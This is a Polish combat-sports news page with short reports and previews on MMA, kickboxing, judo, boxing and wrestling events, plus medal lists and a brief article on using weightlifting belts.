Marcin Zontek (93kg) liczy na przełamanie. 38-letni zawodnik MMA przegrał dwa ostatnie pojedynki w FEN. Po raz ostatni wygrał w styczniu 2016, kiedy to odprawił Arunasa Viliusa. We Wrocławiu rywalem Zontka będzie doświadczony Toni Valtonen. 39-letni Fin ma za sobą występy na KSW, gdzie pokonał Łukasza Jurkowskiego i przegrał z Janem Błachowiczem. W ostatnim pojedynku Valtonen przegrał z Borysem Polezhai.

Marian Ziółkowski (70kg) zapoluje na drugą wygraną w FEN. Ostatnio przegrał przed czasem z Mateuszem Rębeckim. Z kolei jego rywal, Patryk Nowak, ma za sobą efektowną wygraną z Jakubem Mroczkowskim na gali FEN 19.

Karta walk FEN 21:

Thiago Vieira – Andrzej Grzebyk -84 kg

Łukasz Pławecki – Wojciech Wierzbicki -77 kg K-1

Toni Valtonen – Marcin Zontek -93 kg

Jacek Jędraszczyk – Tymoteusz Łopaczyk -77 kg

Łukasz Kopera – Mateusz Głąb -70 kg

Patryk Nowak – Marian Ziółkowski -70 kg

Szymon Dusza – Oskar Somerfeld -77 kg

Grzegorz Ciepliński – Marcin Sianos -120 kg

Kewin Wiwatowski – Bartosz Leśko -93 kg

 

KM

Strus na szczycie, będzie walka o pas?

Wygrana z Fernando Gonzalezem przybliżyła Piotra Strusa do walki o pas ACB. Polski zawodnik awansował w rankingu wagi średniej na pierwsze miejsce. Czy kolejnym rywalem Strusa będzie mistrz Albert Duraev?

Znakomita postawa 29-latka z Warszawy w organizacji ACB. Piotr Strus nie przegrał żadnej walki i wyrasta na pierwszoplanową postać wagi średniej. Podczas gali w Nottingham Polak na przestrzeni trzech rund wypunktował doświadczonego Fernando Gonzaleza. Rywal tylko w trzeciej rundzie miał swoje "pięć minut". Amerykanin trafił Strusa lewym sierpem, który nieco oszołomił Polaka. Na przestrzeni całego starcia przewaga 29-latka nie podlegała dyskusji, ale… Decyzja sędziów była zaskakująca – Polak wygrał, ale niejedno głośnym werdyktem.

Pojedynki Strusa w ACB mogą się podobać. Polak walczy widowiskowo, co robi wrażenie na widzach. W debiucie nie miał litości dla Michaila Tsareva, który nie wyszedł do trzeciej rundy. Andy De Vent i Nikola Dipchikov również przed czasem musieli uznać wyższość Strusa. Tylko pojedynek z Mikhailem Kolobegovem zakończył się nie po myśli Polaka, ale werdykt wzbudził wiele kontrowersji i w końcu starcie uznano za nierozstrzygnięte.

Piętnaście miesięcy wystarczyło 29-latkowi, aby zgłosić aspiracje do walki o pas. Trzeba jasno przyznać, że Polak ma ku temu argumenty. Po starciu z Gonzalezem jasno sprecyzował swoje najbliższe plany. – Chcę walki o pas ACB – powtórzył już niejednokrotnie Strus.

Czwarta wygrana w organizacji ACB sprawiła, że Strus wyprzedził Abdula-Rahmana Dzhanaeva i znalazł się na pierwszej pozycji w rankingu kategorii średniej. Mistrzem jest Albert Duraev, który pas wywalczył pół roku temu. Na gali ACB 77 zasypał ciosami Vyacheslava Vasilevsky'ego i wygrał w pierwszej rundzie. Duraev ma imponujące statystyki. Ostatnią porażkę zanotował ponad trzy lata temu. 29-letni Duraev wygrał siedem kolejnych pojedynków, w tym sześć przed czasem. Wcześniej Rosjanin był czempionem wagi półśredniej.

Strus spogląda w stronę Duraeva i liczy, że w najbliższej walce będzie miał okazję rywalizować o tytuł mistrzowski. Polak zrobił wszystko, żeby tak się stało. Trzeba wspomnieć, że już w grudniu 2017 roku mówiło się o możliwym starciu Strusa z Duraevem. Minęło kilka miesięcy i droga do pojedynku jest (chyba) znacznie krótsza.

Fot. Piotr Strus Facebook

KM

Jeden medal na koncie Polaków

Tylko Mateusz Kozłowski (73kg) wywalczył medal dla Polski w Pucharze Europy kadetów w judo w Bielsku-Białej. Rok temu biało-czerwoni zdobyli trzy krążki. Z kolei w Koper (Słowenia) odbyły się mistrzostwa Europy w formule kata. Leszek Piąstka i Anna Jagiełło na 9. miejscu.

Święto judo w Bielsku-Białej. Na starcie pojawiło się ponad 500 zawodniczek i zawodników, w tym 84 osobowa kadra Polski. W 2017 roku w Bielsku na podium stawali Alicja Gowarzewska (40kg), Aleksandra Gaj (+70kg) oraz Adam Stodolski (73kg).

W mocno obsadzonym turnieju o medal było trudno. Do Bielska licznie zjechały kadry Japonii, Włoch, Rosji czy Ukrainy. Zgodnie z przewidywaniami rywalizację zdominowali reprezentanci Sbornej i Kraju Kwitnącej Wiśni. Wśród pań Japonki zdobyły cztery złote medale – An Miyai (44kg), Kokoro Fujishiro (52kg), Erika Okada (57kg) i Moka Kuwagata (70kg). Do tego złoto dołożył Kodai Sugawara (81kg). Z kolei czterech Rosjan na najwyższym stopniu wśród panów – Danila Korchemkin (50kg), Abrek Naguchev (66kg), Igor Talunin (73kg) i Matvey Kanikovskiy (90kg). Najlepsza w 48kg okazała się Irena Khubulova. W klasyfikacji medalowej triumfowali reprezentanci Sbornej, którzy zdobyli łącznie 15 krążków (5 złotych, 4 srebrne, 6 brązowych). Drugie miejsce dla Japonii (5, 1, 3), trzecie dla Węgier (2, 1, 3).

Polska na dwunastym miejscu w klasyfikacji medalowej, a to głównie zasługa Mateusza Kozłowskiego (73kg). 17-latek sięgnął po brąz. Droga po medal nie była łatwa. Kozłowski rozpoczął od wygranej z Jakovem Cvetko, ale później uległ Igorowi Taluninowi. Polak trafił do repasaży, gdzie musiał pokonać trzech rywali. Wyszedł zwycięsko, a w starciu o medal pokonał Czecha Daniela Pochopa. Pojedynek trwał blisko 6,5 minuty!

Biało-czerwoni mieli więcej medalowych szans, ale walki o brąz przegrały: Karina Grzywacz (40kg), Oliwia Onysk (40kg), Julia Jaroszewska (70kg), Maria Letkowska (+70kg).

Warto dodać, że w Pucharze Europy juniorek w La Corunii brąz zdobyła Aleksandra Kaleta (52kg).

Mistrzostwa w Koper

W Koper odbyły się mistrzostwa Europy w formule kata. Na 9. miejscu uplasowali się Leszek Piąstka i Anna Jagiełło, którzy poprawili wynik z poprzedniego czempionatu (13. lokata). W Koper startowali również Maciej Pudłowski i Anita Krawczyk – zajęli 10. pozycję.

Fot. Polski Związek Judo Facebook

KM

Wszystko co warto wiedzieć o pasach kulturystycznych

Pas do ćwiczeń czy jak kto woli pas kulturystyczny, choć swoim wyglądem przypomina dość znacząco pasek tradycyjny ( choć jest od niego znacznie bardziej szerszy) wykorzystywany jest przede wszystkim przez kulturystów, osoby uprawiające trójbój siłowy czy crossfit. Pas przeznaczony wyłącznie dla osób uprawiających trójbój siłowy ma stałą szerokość – 10 centymetrów i jest znacznie grubszy od klasycznego pasa kulturystycznego.

Jak działa pas do ćwiczeń?

W czasie podnoszenie dość dużych ciężarów, intensywnie napinają się mięśnie brzucha oraz mięśnie pleców. Pasy kulturystyczne stosowane są po to, aby ochronić odcinek lędźwiowy w czasie treningu. W przypadku słabych mięśni napięcie może okazać się dla nich zbyt silne i doprowadzić do poważnej kontuzji – pasy stosuję się właśnie po to, by zminimalizować ryzyko jej wystąpienia. Dużym minusem stosowania pasów do treningu jest jednak fakt, że w niezbyt naturalny sposób zapewniają one stabilizację mięśni w centralnym odcinku, czego konsekwencją jest zaprzestanie ich pracy, a to może prowadzić między innymi do:

  • uszkodzenia kręgosłupa,
  • skręcenia stawu skokowego.

Pasy kulturystyczne – stosować czy nie?

Cóż zdania odnośnie stosowania pasów kulturystycznych są dość mocno podzielone. Stosowanie pasa kulturystycznego ma zarówno swoje wady jak i zalety. Jednak jeżeli używany jest on zgodnie z pewnymi zasadami, przyniesie z pewnością więcej pożytku niż szkody. Zatem chcąc ćwiczyć z pasem kulturystyczny należy pamiętać, że:

  • pasy stosowane powinny być jedynie przy ćwiczeniach z naprawdę dużymi ciężarami;
  • z pasa kulturystycznego nie powinny korzystać osoby początkujące. Ich mięśnie stabilizujące nie są jeszcze odpowiednio wzmocnione, dlatego nie będą odpowiednio zachowywały się przy treningu z bardzo dużymi ciężarami;
  • pasy do ćwiczeń służą przede wszystkim zwiększeniu treningowych możliwości, dlatego warto korzystać z nich jedynie z w czasie bicia własnych rekordów. Nie ma konieczności używania ich w czasie nieco lżejszego treningu;
  • pasy sprawdzą się najlepiej w ćwiczeniach takich jak martwy ciąg, wyciskanie sztangi ( odbywające się między innymi nad głowę, w pozycji leżącej, sprzed klatki piersiowej czy zza karku) oraz przy przysiadach (szczególnie tych wykonywanych z dużym obciążeniem lub na maszynie Smitha);
  • przy stosowaniu pasów kulturystycznych warto zadbać o wzmocnienie mięśni brzucha;
  • przy każdym powtórzeniu warto zdejmować lub choćby rozluźniać pas. Niebezpieczne bowiem może być wykonywanie więcej niż 10 powtórzeń lub jednej serii danego ćwiczenia mając nałożony pas;
  • pas kulturystyczny nie powinien być nigdy noszony podczas całego treningu, bez jakichkolwiek przerw. Najlepiej zakładać go jedynie do najcięższych ćwiczeń, w których obciążenie jest zdecydowanie największe.

Ja wybrać pas do ćwiczeń?

Wybierając pas do ćwiczeń przede wszystkim należy zwrócić uwagę na jego następujące parametry:

  • rozmiar i szerokość ( dobrane do sylwetki),
  • materiał z jakiego został wykonany,
  • łatwość i szybkość wkładania/zdejmowania.

Polacy na pierwszym planie w Budapeszcie

Polscy kickboxerzy pokazali siłę! W Pucharze Świata w Budapeszcie biało-czerwoni znaleźli się w czołówce z dorobkiem 85 medali.

Tym samym Polacy znacznie poprawili wynik, który osiągnęli rok temu w stolicy Węgier. Wtedy to na swoim koncie zapisali 19 medali i zajęli 12. miejsce w klasyfikacji generalnej. Na ten rezultat wpływ miało wiele czynników m.in. fakt, że w turnieju nie wzięła udziału kadra low kick. Tegoroczny Puchar Świata w Budapeszcie to pokaz siły polskiego kickboxingu. Aż 24 złote medale, do tego 26 srebrnych i 35 brązowych zdobyła nasza drużyna. W zestawieniu krajowym najlepsi Węgrzy przed Ukrainą, Włochami i Polską (85 krążków).

Ponownie na najwyższym stopniu w Budapeszcie stanął Mateusz Kubiszyn (91kg) rywalizujący w full contact. W finale pokonał… Rafała Gąszczaka. – Mamy to! – napisał krótko na swoim Facebooku Kubiszyn. Trzy wygrane walki dały triumf Jakubowi Pokusie (71kg). Ze złota cieszą się również Karolina Mośko (48kg) oraz Patryk Możdżyński (60kg). O krok od najwyższego stopnia podium była Karolina Dziedzic (70kg), która w finale uległa Birgit Reitan Oksenes. Zapach złota w powietrzu czuli Rafał Nguyen (67kg) i Maciej Mościcki (81kg), ale musieli zadowolić się srebrnymi krążkami.  W tej samej formule poza podium wylądowała Paulina Saczuk (56kg). Poprzedni start na Węgrzech Polka zakończyła ze złotem. Piąte miejsce również dla Marty Pyry. W full contact brąz zawisł na szyi Emilii Czerwińskiej (60kg) i Poli Rogali (65kg). a także Sylwii Lewandowskiej, Anny Knobel, Pawła Dąbrowskiego, Dawida Aagyana, Michała Krawczyka i Tomasza Przybylskiego.

Prawdziwy pokaz siły w kick light dał Piotr Wypchał (89kg, 94kg). – Sparingi się udały. Dwa puchary jadą do Krakowa plus tytuł dla najlepszego zawodnika turnieju w kategorii Kick light. 5 walk do przodu, więc fajnie. Kilka akcji się udało przetestować, więc też fajnie . Jutro może trochę więcej informacji. Veni vidi victci czy jakoś tak – napisał zawodnik na Facebooku.

Złota w K-1 (+91kg) nie udało się wywalczyć Michałowi Bławdziewiczowi, który w decydującym pojedynku musiał uznać wyższość Romana Holovatiuka.  Sukces odniósł za to młody Filip Zawłocki (86kg) startujący wśród juniorów starszych. W finale pokonał Sebastiana Kuźniaka. – Walczyłem jakbym zupełnie nie był sobą, mimo to traktuje ten start jako sukces nie techniczny bądź sportowy (nie jestem zadowolony ze swoich walk) tylko psychiczny oraz emocjonalny. Niezwykle mi się to przydało – dzielił się swoimi wrażeniami Zawłocki. Złoto zdobył również Adrian Gunia (60kg).

Bezkonkurencyjny w low kick okazał się Kacper Frątczak (86kg). Polak pozostał w tyle Ukraińca Sergia Bohovycha. Na najwyższym stopniu podium stanął również Łukasz Kaczmarczyk (71kg), który w decydującym pojedynku uporał się z Arturem Zakirko. W low kick brąz zdobyli Kamil Krzyżaniak (63,5kg), Jakub Ogryzek (63,5kg), Bartek Domalik (81kg), Dominik Grzęda (91kg) oraz Adam Abood Al Hassani (+91kg). Wśród pań na najwyższym stopniu podium Karolina Kubiak (48kg).

MEDALIŚCI

point fighting – 65 kg 1 złoto Kalbarczyk Zuzanna
point fighting – 84 kg 2 srebro Maślanka Piotr
point fighting – 94 kg 3 brąz Maślanka Piotr
light contact – 42 kg 2 srebro Zarzycka Natalia
light contact – 79 kg 3 brąz Świstulski Klaudiusz
light contact – 74 kg 1 złoto Rafałko Łukasz
kick light – 63 kg 3 brąz Wojtowicz Łukasz
kick light – 63 kg 3 brąz Bendyk Adrian
kick light – 65 kg 1 złoto Kalbarczyk Zuzanna
kick light – 70 kg 1 złoto Stenka Paulina
kick light – 89 kg 1 złoto Wypchał Piotr
kick light – 94 kg 1 złoto Wypchał Piotr
kick light + 94 kg 1 złoto Sieńko Mirosław
full contact – 81 kg 2 srebro Mościcki Maciej
full contact – 60 kg 1 złoto Możdżyński Patryk
full contact – 60 kg 3 brąz Avgayan Dawid
full contact – 63,5 kg 3 brąz Krawczyk Michał
full contact – 67 kg 2 srebro Nguyen Rafał
full contact – 71 kg 1 złoto Pokusa Jakub
full contact – 75 kg 3 brąz Przybylski Tomasz
full contact – 91 kg 1 złoto Kubiszyn Mateusz
full contact – 91 kg 2 srebro Gąszczak Rafał
full contact – 48 kg 1 złoto Mośko Karolina
full contact – 52 kg 3 brąz Lewandowska Sylwia
full contact – 60 kg 3 brąz Czerwińska Emilia
full contact – 65 kg 3 brąz Rogala Pola
full contact – 70 kg 2 srebro Dziedzic Karolina
low kick – 63,5 kg 1 złoto Adamczewski Kacper
low kick – 57 kg 2 srebro Stępień Piotr
low kick – 67 kg 3 brąz Lasota Tomasz
low kick – 81 kg 1 złoto Niemiero Michał
low kick – 52 kg 3 brąz Mądraszewska Aleksandra
low kick – 65 kg 2 srebroWoźniak Patrycja
low kick – 57 kg 2 srebro Obara Krystian
low kick – 63,5 kg 3 brąz Krzyżaniak Kamil
low kick – 71 kg 1 złoto Kaczmarczyk Łukasz
low kick – 81 kg 3 brąz Domalik Bartek
low kick – 86 kg 1 złoto Frątczak Kacper
low kick – 91 kg 3 brąz Grzęda Dominik
low kick + 91 kg 3 brąz Abood al Hassani Adam
K1 – 67 kg 1 złoto  Siek Dawid
K1 – 71 kg 2 srebro Abramowicz Damian
K1 – 75 kg 2 srebro Rymarowicz Jakub
K1 – 60 kg 1 złoto Gunia Adrian
K1 – 81 kg 2 srebro Kuźniak Michał
K1 – 86 kg 1 złoto Zawłocki Filip
K1 – 48 kg 3 brąz Szelest Izabela
K1 – 52 kg 3 brąz Niemyjska Magdalena

KM

ACB 87: Kolejne wyzwanie Strusa

19 maja w Nottingham odbędzie się gala ACB 87. Po raz piąty w rosyjskiej organizacji MMA zobaczymy zawodnika kategorii średniej Piotra Strusa, który zmierzy się z Fernando Gonzalezem.

Po przygodzie z KSW, 29-latek z Warszawy obrał kierunek rosyjski. W organizacji ACB Piotr Strus radzi sobie bardzo dobrze i stał się kandydatem do walki o pas wagi średniej, który znajduje się w posiadaniu Alberta Duraeva. Polski zawodnik pierwszy pojedynek w ACB stoczył w lutym 2017 roku. Jego rywalem był Michail Tsarev, który w pierwszej rundzie nadawał ton rywalizacji. Jednak kolejna odsłona należała do Strusa. Polak trafiał rywala i wraz z upływającym czasem miał coraz większą przewagę. Tsarev był bezradny i nie wyszedł do trzeciej rundy. Warto dodać, że Strus otrzymał propozycję starcia zaledwie kilka dni przed galą! Wokół drugiej walki zawodnika z Warszawy w ACB nie brakowało kontrowersji. Polak przegrał niejednogłośnie na punkty z Mikhailem Kolobegovem, jednak był niezadowolony z werdyktu i postanowił się od niego odwołać. Najpierw włodarze organizacji odrzucili protest, ale ostatecznie uznali pojedynek za nierozstrzygnięty. W kolejnych dwóch starciach Piotr Strus dał popis umiejętności. Najpierw poddał Andy’ego DeVenta, a następnie Nikolę Dipchikova, który odklepał zaledwie sekundę przed końcem pojedynku.

Dobra postawa Polaka sprawiła, że stał się kandydatem do walki o pas. Na pojedynek z Duraevem Strus musi jednak poczekać. W Nottingham zmierzy się z doświadczonym Fernando Gonzalezem. 34-letni Amerykanin ma za sobą przygodę w Bellatorze, gdzie zapisał na swoim koncie siedem zwycięstw i dwie porażki. Ostatni raz Amerykanin rywalizował w styczniu. Na gali Bellator 193 przegrał z Lorenzem Larkinem. Gonzalez łącznie stoczył 42 walki w MMA, czyli blisko trzy razy więcej niż Strus! Polak stanie przed trudnym wyzwaniem, ale jego ostatnie występy w ACB pokazały, że jest wysokiej klasy fighterem.

W walce wieczoru gali ACB 87 spotkają się Kane Mousah i Robert Whiteford. Anglik wygrał ostatnie trzy walki, z kolei doświadczony Szkot dwie. Warto dodać, że wcześniej Whiteford rywalizował w UFC. Obaj zawodnicy zaprezentują się w ACB po raz trzeci.

Fot. Piotr Strus Facebook

KM

Jewtuszko debiutuje, Lodzik broni pasa

18 maja w Warszawie odbędzie się gala DSF Kickboxing Challenge 15: Bastion Chwały. W walce wieczoru Jan Lodzik zmierzy się z Yurim Zhoukouskim. Na debiut w organizacji DSF Kickboxing Challenge czeka Maciej "Irokez" Jewtuszko". W Warszawie nie zabraknie meczu międzypaństwowego – Polska zmierzy się z Litwą.

Jan Lodzik, w którego rękach znajduje się pas w kategorii do 65kg, wrócił do rywalizacji w marcu w Nowym Dworze Mazowieckim. Podczas gali DSF Kickboxing Challenge "Twierdza" pokonał niejednogłośną decyzją Murata Azerbieva. Wcześniej popularny "Iron" pauzował dziewięć miesięcy z powodu kontuzji. Wrócił głodny walki i kolejnych wyzwań. Dlatego też 18 maja w Warszawie zmierzy się ze zwycięzcą Turnieju Mistrzów K-1 z Nowego Dworu Mazowieckiego. Tam najlepszy okazał się Yuri Zhoukouski, który najpierw pokonał Orfana Sanzade, a następnie Andrzeja Bruhla. Białorusin świetnie prezentuje się w Polsce. Zhoukouski stoczył cztery pojedynki na galach federacji DSF i wszystkie wygrał. Nie ukrywa swoich ambicji i celuje w pas mistrzowski, ale z pewnością Jan Lodzik nie zamierza mu ustępować. Szykuje się ciekawe starcie, które zostało zaplanowane na pięć rund.

Kibice z uwagą będą obserwować poczynania Macieja Jewtuszko (81kg), który w hali przy Szwedzkiej zadebiutuje w federacji DSF. Dotychczas "Irokez" prezentował się na galach KSW. Ostatnio przegrał w Dublinie z Davidem Zawadą. Teraz podejmuje kolejne wyzwanie i stawia na nowe doświadczenie. Jego rywalem będzie Robert Krasoń, który jest specjalistą w formule full contact. Reprezentant Piotrkowskiej Szkoły Sztuk Walki Tom-Center ma na swoim koncie wicemistrzostwo świata, które wywalczył w Dublinie oraz zawodowe mistrzostwo Europy w kategorii średniej zdobyte w Caen.

Podczas ostatniej gali, DSF 14 na Torwarze, w meczu K-1 Polska pokonała Rosję 3:2, choć po dwóch pierwszych walkach sytuacja nie wyglądała najlepiej. Teraz biało-czerwoni będą rywalizować z Litwinami. O zwycięstwo dla Polski powalczą: Gabriela Makowska, Dawid Mirkowski, Aleksander Kalicki, Tomasz Brotoń i Patryk Radoń. Wydaje się, że najtrudniejsze zadania czeka ostatniego z wymienionych fighterów. Radoń podejmie Martynasa Daniusa, który jest turniejowym mistrzem federacji KOK i pretendentem do pasa w kategorii 65kg.

 W Warszawie dojdzie do starcia Patryka Kuryłka (58kg), który w kwietniu podpisał kontrakt z DSF. Zawodnik z Kobyłki w ubiegłym roku imponował formą, czego dowodem jest brąz mistrzostw świata. Teraz będzie miał okazję zaprezentować się w starciu z Dawidem Mańkowskim. Galę w Warszawie otworzy pojedynek w kategorii 86kg pomiędzy Łukaszem Bartnikiem a Bartłomiejem Wydrą.

Początek gali o 19.00.

Fot. DSF Kickboxing Challenge

KM

Juniorzy ustrzelili szóstkę

Sześć medali wywalczyli Polacy w Pucharze Europy Juniorów w judo, który odbył się w Kownie. Do pełni szczęścia zabrakło złota.

Blisko triumfu w Kownie była Karolina Miller (70kg). 19-latka znakomicie weszła w turniej pokonując Niemkę Leę Bastian. Następnie na drodze Miller stawały reprezentantki Holandii. Z Jessicą Gorissen i Margit de Voogd Polka wygrała przed czasem i czekała ją walka w finale. A tam Donja Vos. 20-letnia Holenderka w tym roku wygrała zawody w Coimbrze i była trzecia w Sankt Petersburgu. W Kownie dołożyła kolejny triumf, a Karolina Miller stanęła na drugim stopniu podium.

Rok temu w Kownie Angelika Szymańska (63kg) wygrała jedną walkę i szybko pożegnała się z rywalizacją. Tym razem było inaczej. Szymańska znakomicie sobie radziła. Wygrała trzy pojedynki, w półfinale uporała się z Jovaną Obradović w niecałe 30 sekund! W walce o złoto Polka przegrała z Niemką Deną Pohl.

Julia Świątkiewicz (+78kg) jest powtarzalna. Tak jak rok temu zajęła trzecie miejsce w Kownie. Jednak początek rywalizacji nie wyglądał obiecująco. Świątkiewicz przegrała z Justiną Kmieliauskaite i musiała rywalizować w repasażach, gdzie wygrała z Wiktorią Lis. W starciu o brąz trafiła na kolejną rodaczkę – Katarzynę Madajewską. Świątkiewicz zaliczyła waza ari i cieszyła się z drugiego medalu w tym roku. Wcześniej była druga w Sarajewie.

Rozpędzony Cezary Tchórzewski (73kg) wygrał trzy walki i dopiero w półfinale zatrzymał go Kilian Ochs. W starciu o brąz Polak okazał się lepszy od Malika Abdula Umayeva. Dobry występ Huberta Pieczyńskiego (55kg), którego droga na podium wiodła przez repasaże. W pierwszym starciu Polak przegrał z Davidem Gauchem. Następnie przeszedł zwycięsko przez repasaże, w których pokonał Tadasa Calka z Litwy. W starciu o brąz Pieczyński szybko uporał się z kolejnym zawodnikiem gospodarzy – Grazvydasem Mykolaitisem. Trzy wygrane Sebastiana Makowskiego (66kg) i wielka szansa na finał. Lepszy okazał się jednak Białorusin Dzmitry Muzhaila. Makowskiemu pozostała walka o brąz, w której spotkał się z Holenderem Jobem Hanssenem. Polak wygrał przed czasem i stanął na podium.

Piąte miejsca zajęli: wspomniana Madajewska, Piotr Zaborowski (55kg) i Krzysztof Załęczny (+100kg).

W Kownie najlepiej wypadli Niemcy, którzy zdobyli 11 medali, w tym osiem złotych. Druga pozycja w klasyfikacji końcowej dla Holandii (15 medali – 3, 1, 11), na trzecim miejscu Węgry (6 medali – 1, 3, 2). Polska na ósmej pozycji w klasyfikacji medalowej.

Fot. zdjęcie poglądowe                                                   

KM

Pacquiao na drodze Łomaczenki?

Wasyl Łomaczenko uchodzi za czołowego boksera świata. Magazyn "The Ring" wybrał go pięściarzem 2017 roku. 12 maja Ukrainiec zadebiutuje w wadze lekkiej w starciu z Jorge Linaresem, a w perspektywie mówi się o walce z Manny Pacquiao.

30-letni Łomaczenko ma bogaty dorobek. Dwukrotnie sięgał po olimpijskie złoto – w Pekinie i w Londynie. Karierę amatorską zakończył z blisko 400 zwycięstwami na koncie. Z pewnością robi wrażenie. Łomaczenko mocnym akcentem rozpoczął karierę zawodową. W czwartej rundzie pokonał Jose Ramireza i sięgnął po pas WBO International w wadze piórkowej. Z czasem nazwisko ukraińskiego pięściarza stawało się coraz bardziej znane za sprawą jego fantastycznych występów. W maju 2016 roku w Madison Square Garden potrzebował pięciu rund, żeby pokonać Romana Ramireza. Łomaczenko zapisał na swoim koncie pas WBO wagi super piórkowej. Dotychczas tytułu bronił czterokrotnie.

12 maja Łomaczenko ruszy na podbój wagi lekkiej. Na jego drodze stanie mistrz świata WBA Jorge Linares. Promotor Wenezuelczyka Oscar De La Hoya podkreślał, że tę walkę trzeba zrobić i tak też się stanie. Pojedynek Łomaczenki i Linaresa ma stanowić prawdziwą bokserską ucztę.

32-letni pięściarz urodzony w Wenezueli słynie z ogromnego serca do walki. W ubiegłym roku pokonał Anthony'ego Crolla i Luke'a Campbella. Ostatnią walkę stoczył w styczniu, kiedy to wygrał z Mercito Gestą. Linares nie przegrał od sześciu lat, triumfował w kolejnych trzynastu starciach.

Łomaczenko będzie polował na jedenaste zwycięstwo w karierze. Ukrainiec zaprezentuje się w ringu po raz pierwszy w tym roku, ale w planach ma jeszcze dwa pojedynki. Pojawiają się głosy, że w grudniu 30-latek miałby zmierzyć się z Manny Pacquiao. Takie plany ma Bob Arum, promotor Ukraińca. – Kibice chcą zobaczyć wielką walkę. Trzeba zorientować się, czy Pacquiao jest zainteresowany boksem. Ostatnio ma dużo obowiązków politycznych i trudno z nim się rozmawia. Chciałbym zorganizować tę walkę w grudniu – powiedział Arum.

Popularnego "Pac Mana" nie trzeba nikomu przedstawiać. To legenda boksu, mistrz świata w ośmiu różnych kategoriach wagowych. Najbliższy pojedynek Pacquiao stoczy 15 lipca w Axiata Arenie w Kuala Lumpur. Jego rywalem będzie Lucas Martin Matthysse.

Fot. Facebook Wasyl Łomaczenko

KM

Panie przeprowadzą natarcie

Tym razem we Wrocławiu. Już 12 maja odbędzie się gala Ladies Fight Night "Tic Tac Toe".

Po raz kolejny walki pań w K-1 i MMA pojawią się na pierwszym planie. W grudniu organizacja Ladies Fight Night hucznie świętowała swoje drugie urodziny. Takiej dawki sportowych emocji nikt się nie spodziewał. Skoro drugie urodziny, to dwie gale! Łącznie dziewiętnaście walk, z których dziesięć zakończyło się przed czasem.

Teraz czas pisać nową historię kobiecej rywalizacji. Gala Ladies Fight Night 9 odbędzie się 12 maja w Centrum Konferencyjnym Terminal Hotel we Wrocławiu. W walce wieczoru zaprezentuje się Patrycja Krawczyk. Jej rywalką w formule K-1 56kg będzie Emma Gongora. Krawczyk będzie walczyła na własnym terenie, a więc z pewnością może liczyć na gorący doping. Do tej pory reprezentująca barwy GYM-Fight Wrocław zawodniczka stoczyła cztery walki dla organizacji Ladies Fight Night. Ostatnio zaprezentowała się w sierpniu 2017 roku na gali w Rawie Mazowieckiej, gdzie po zaciętym pojedynku wygrała z Karoliną Klusovą (dwa do jednego). We Wrocławiu Krawczyk zmierzy się z mistrzynią Francji Emmą Gongorą. Zawodniczka z Marsylii ma na swoim koncie ponad 30 wygranych walk zawodowych.

O piąte zwycięstwo w karierze postara się Weronika Zygmunt (52kg) w pojedynku na zasadach MMA. Zawodniczka Grapplingu Kraków zmierzy się z Claire Lopez. Francuzka ma na swoim koncie dwa wygrane pojedynki. W obu przypadkach rozkładała rywalki na łopatki w pierwszych rundach. Zygmunt również potrafi wygrywać przed czasem, choć na LFN 8 stoczyła bój na pełnym dystansie. Po trzech rundach sędziowie orzekli, że Polka zaprezentowała się lepiej niż Karolina Iverenova.

Po raz drugi w Ladies Fight Night zobaczymy Barbarę Nalepkę. Polka w debiucie przegrała przed czasem z Eliną Kallionidou. Nalepka czeka na zwycięstwo od czterech walk! Jej najbliższą rywalką w formule MMA 52kg będzie Beata Bardziak.

Kolejne pojedynki stoczą utytułowane kickboxerki Małgorzata Dymus (56kg) oraz Kamila Bałanda (63,5kg).

Początek gali o 19.00, godzinę wcześniej zaplanowano przywitanie gości.

Aktualizacja:

Z powodu kontuzji Patrycja Krawczyk nie wystąpi w walce wieczoru gali Ladies Fight Night 9. Z Emmą Gongorą zmierzy się Eliska Pelechova.

Karta walka LFN 9:

MMA 52kg: Ewelina Woźniak – Kinga Jędrasik

K-1 52kg: Aleksandra Mądraszewska – Izabela Szelest

MMA 52kg: Barbata Nalepka – Beata Bardziak

K-1 63,5kg: Kamila Bałanda – Lucia Szabova

K-1 56kg: Małgorzata Dymus – Karolina Klusova

MMA 52kg: Weronika Zygmunt – Claire Lopez

K-1 56kg: Eliska Pelechova – Emma Gongora

KM

Cztery medale Polaków

Reprezentacja Polski wywalczyła cztery medale w mistrzostwach Europy w zapasach w Kaspijsku. To dwukrotnie lepszy wynik niż rok temu w Nowym Sadzie. Najlepsi w Kaspijsku okazali się Rosjanie.

Na Magomedmurada Gadżijewa (70kg) można liczyć. Pochodzący z Dagestanu zawodnik rywalizujący w stylu wolnym po raz kolejny udowodnił, że jest mocnym punktem reprezentacji Polski. Rok temu w Nowym Sadzie wywalczył srebro mistrzostw Europy. W Kaspijsku Gadżijew ponownie był drugi, lepszy od niego był tylko Magomed Kurbanalijew.

Rok temu z tytułu mistrzyni Europy w kategorii 63kg cieszyła się Monika Michalik. Wielokrotna medalistka mistrzostw Polski w Kaspijsku wystartowała w wyższej wadze. W Rosji trzecia zawodniczka Igrzysk Olimpijskich z Rio de Janeiro przegrała dwie walki, ale… rywalizowała o medal. Koumba Selene Fanta Larroue okazała się lepsza od Polki w ćwierćfinale i dotarła do finału, co pozwoliło naszej doświadczonej zapaśniczce stoczyć bój o brąz. Michalik nie udało się wywalczyć dwunastego medalu mistrzostw Europy. Lepsza okazała się Buse Tosun.

Srebro zapisała na swoim koncie Roksana Zasina (55kg). Dla 29-letniej zapaśniczki to trzeci medal mistrzostw Europy. Drugi brąz czempionatu Starego Kontynentu wywalczyła Katarzyna Krawczyk (53kg). Wcześniej Polka stała na podium w Dortmundzie w 2011 roku.

Jako ostatni po medal sięgnął Robert Baran (125kg) w stylu wolnym. Rywalizację w Kaspijsku Polak rozpoczął od pewnej wygranej z Jose Cubą Vazquezem. W półfinale na olimpijczyka z Rio de Janeiro czekał mistrz świata Geno Petriaszwili. Gruzin nie pozostawił Polakowi złudzeń i wygrał 10:0. Baran cały czas pozostawał w grze i wykorzystał swoją szansę. W starciu o brąz Polak pokonał Austriaka Johannesa Ludeschera.

Biało-czerwoni mieli więcej szans medalowych. Starcia o trzecie miejsce na podium przegrali wspomniana Michalik, Agnieszka Król (62kg), Krzysztof Bieńkowski (65kg), Dawid Kareciński (67kg) i Gework Sahakian (72kg).

W klasyfikacji medalowej triumfowali Rosjanie, którzy zdobyli 23 krążki, w tym dwanaście złotych. Drugie miejsce dla Turcji (13 medali, 5 złotych), trzecie dla Azerbejdżanu (18 medali, 4 złote). Polska została sklasyfikowana na 11. pozycji.

Fot. Polski Związek Zapaśniczy Facebook

KM

